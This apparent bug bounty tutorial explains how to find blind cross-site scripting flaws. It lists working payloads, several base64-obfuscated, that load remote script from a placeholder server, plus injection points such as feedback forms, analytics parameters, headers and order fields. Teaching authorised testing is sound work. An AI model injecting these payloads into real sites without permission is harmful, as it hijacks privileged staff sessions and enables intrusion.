# Hunting for blind XSS vulnerabilities: A complete guide

BY BLACKBIRD-EU · JANUARY 4, 2025 · LAST UPDATED ON MARCH 6, 2025

Cross-site scripting (XSS) vulnerabilities are quite common and fun to find. They also carry great impact when chained with other vulnerabilities. But there's another variant of this vulnerability type that's not as easy or common to find as the other XSS types. Especially with the delayed execution and the hidden injection point, it makes it difficult for most hunters to search for these.

In this article, we will be covering on how to hunt for blind cross-site scripting (XSS) vulnerabilities, including setting up the required tooling to help you find and get notified of this specific XSS type.

Let's dive in!

## What are blind XSS vulnerabilities?

Cross-site scripting vulnerabilities are a client-side injection vulnerability type and they can come in many variations such as reflective or stored (persistent) XSS. These injection vulnerabilities occur whenever a web application or component fails to filter malicious input and directly reflects it into the HTTP response. They are also easy to prove by executing a simple function call such as `alert()` or `print()`.

Blind XSS vulnerabilities are quite different as the reflection happens on a component that's not accessible to the attacker (for example, an internal-only administrative panel, or a support dashboard accessible by the helpdesk employees only). Moreover, the execution is also dependent on a privileged user that has access to the vulnerable component.

Blind XSS vulnerabilities also require a specifically crafted payload that helps notify you of any execution as function calls that trigger visual dialogues (like the `alert()` or `print()` function call) will not be sufficient.

That said, the delayed execution, hidden injection point and the requirement for a dedicated server that responds to incoming invocations to make your blind XSS payloads work make it much more difficult to exploit.

However, it's always worth testing for blind XSS vulnerabilities as they carry a huge impact by nature simply because they are only accessible to privileged users and can often be easily escalated to higher-impact vulnerabilities!

Now that we understand what blind XSS vulnerabilities are, we can move on to setting up our dedicated server to help with the exploitation phase.

At the end of this article, we will also share with you some advanced blind XSS payloads and guide you on where to inject these.

# Tools to help exploit blind XSS vulnerabilities

Most XSS vulnerabilities are proven by executing function calls that trigger some sort of visual dialogue. However, as we've mentioned in the previous section, this is futile for blind XSS vulnerability types as we will never understand when the execution took place.

A common approach taken is by loading a JavaScript file from your end. For that, we'd need a dedicated server that is set up to listen and handle any incoming invocations.

Luckily for us, there are already open-source projects and managed solutions (sometimes paid) that we can use.

XSSHunter by @IAmMandatory is one of them. It's open-source and easy to set up in just 5 minutes. If you'd like to dive deeper into how to set it up, we've made an article for you that you can read: Hacker Tools: How to set up XSSHunter.

# Building your blind XSS payloads

Blind XSS vulnerabilities require a different payload than a simple alert call. We will need to integrate a callback to our server. Let's take a look at some examples.

*Please remember to replace* `{SERVER}` *with your server's location in the payloads below.*

## Injecting an external script

This is the most common approach taken. It also allows us to bypass any applicable character limitations and makes sure our code executes without any issues. This payload will work in multiple contexts.

```
'"><script src="{SERVER}/script.js"></script>
```

## Injecting an external script (bypass)

In case your payload with the script tag is blocked, we can use a simple bypass with a simple SVG tag. The following payload also makes use of base64 encoding to help prevent execution errors with our payload due to incorrect URL encoding.

```
'"><svg onload="eval(atob(this.id))"
id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
```

Here's the base64 decoded payload:

```
const x=document.createElement('script');x.src='{SERVER}/script.js';document.body.appendChild(x);
```

This code snippet above will help us create a script element (tag) and append it to the document body, essentially allowing us to load our own external JavaScript file.

## HTTP callback

In some cases, limited HTML is accepted and all other tags are filtered. In that case, we can still try to check if the component is vulnerable to potential blind XSS by injecting an image tag.

```
'"><img src="{SERVER}/img.png">
```

### More advanced payloads

```
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))"
id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0Lmpz
Jztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))"
id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0Lmpz
Jztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a
specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn
0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```

**TIP! Try to include a random string or keyword in your payload to track your injection points. This will help you tremendously later on when you need to figure out which page or component is vulnerable.**

## Identifying blind XSS vulnerabilities

No target is the same but a key rule to follow is to test for blind XSS vulnerability in any type of web component or feature that processes user input and is likely to be processed by internal tooling or reviewed by a privileged user.

Some examples include:

- Feedback forms (especially when the company does not rely on third-party vendors for this feature)
- Parameters processed by analytic engines (UTM parameters are always a good start)

- Request headers processed by analytics engines (referrer headers are almost always parsed)
- Blogs and help documentation
- Generic errors
- Invoices or receipts for orders

### Feedback forms

Companies often handle feedback asynchronously and they'd have to store it somewhere. Most rely on third-party vendors but others deploy their solution. As these are only used by employees, these components often do not receive the same security attention as the other client-facing features.

This makes it prone to injection vulnerabilities such as blind XSS. Try next time to inject your blind XSS payload with your feedback request.

### Analytics engines

Analytics is a must for every company to understand where their users come from and in what inbound channels to invest to generate the most amount of revenue. For that, tracking user request elements is required, including parameters and other elements that can be easily modified.

Try to include your blind XSS payload in UTM parameters (parameters that start with `utm_`) or any other parameters used for tracking such as the `ref` parameter for any ongoing affiliate programs that your target is maintaining.

Request headers (such as the user-agent or referrer header) are often also parsed and processed. You can easily set a match & replace rule in your proxy interceptor to help automate looking for blind XSS via request headers. Do take note that you're more prone to be blocked by security filters and Web Application Firewalls (WAFs).

### Blogs and help documentation

Marketing teams are always on the lookout for new keywords to target for Search Engine Optimization (SEO) purposes. One common approach companies take is logging search queries that do not produce any results.

Next time, try to inject your blind XSS payload into the company's official blog or help documentation search engine. Your keyword (blind XSS payload) may get logged and processed unsafely that'd make it vulnerable to blind XSS attacks!

### Generic errors

Errors and other exceptions are almost always logged to help developers try to fix the issues that a user may have encountered. Try to deliberately cause an exception or an error and inject your blind XSS payload in any possible field that might be parsed and processed later on (such as the URL, user agent, cookies, username or email, X-Forwarded-For header, etc.)

### Invoices or receipts for orders

Whenever you place an order, your data will get sent and processed by multiple internal components to help the company deliver your purchased goods or services. So try injecting your blind XSS payload in any

type of field such as the address line or billing name.

**TIP! Follow and respect program rules at all times, especially when your program explicitly mentions not to test contact or feedback forms to prevent spamming.**

# Conclusion

The delayed execution, invisible injection point and the requirement of a dedicated server that handles incoming invocations make it difficult to find and exploit blind XSS vulnerabilities. However, these XSS types are more critical by nature which makes them worth testing for. This article can be used as a full guide to identifying and exploiting blind XSS vulnerabilities.

You've just learned how to hunt for blind XSS vulnerabilities... Right now, it's time to put your skills to the test! Browse through our 70+ public bug bounty programs on Intigriti, and who knows, maybe your next bounty will be earned with us!

START HACKING ON INTIGRITI TODAY